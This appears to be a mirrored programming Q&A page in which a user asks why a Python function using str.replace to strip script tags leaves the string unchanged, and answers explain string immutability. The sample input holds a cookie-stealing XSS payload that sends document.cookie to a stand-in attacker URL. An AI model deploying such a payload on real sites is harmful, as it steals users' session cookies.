Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Why is function not working? Trying to replace words in string

Tags:

python

string

I am trying to replace some key words in a string. Here is my function:

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

and here is my other code and the string:

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

My output is as follows, and I'm not sure why nothing has changed

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>
like image 928
pearbear Avatar asked Nov 29 '25 06:11

pearbear


2 Answers

Python strings are immutable:

input = input.replace('<script>', " ")
input = ...

See replace documentation:

Return a copy of string str with all occurrences of substring old replaced by new.

like image 93
icecrime Avatar answered Nov 30 '25 20:11

icecrime


Strings are immutable in Python. input.replace('</a>', " ") does not alter input. You need to assign the result back to input.

But really you should use a parser like BeautifulSoup lxml.

like image 37
Steven Rumbalski Avatar answered Nov 30 '25 19:11

Steven Rumbalski



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!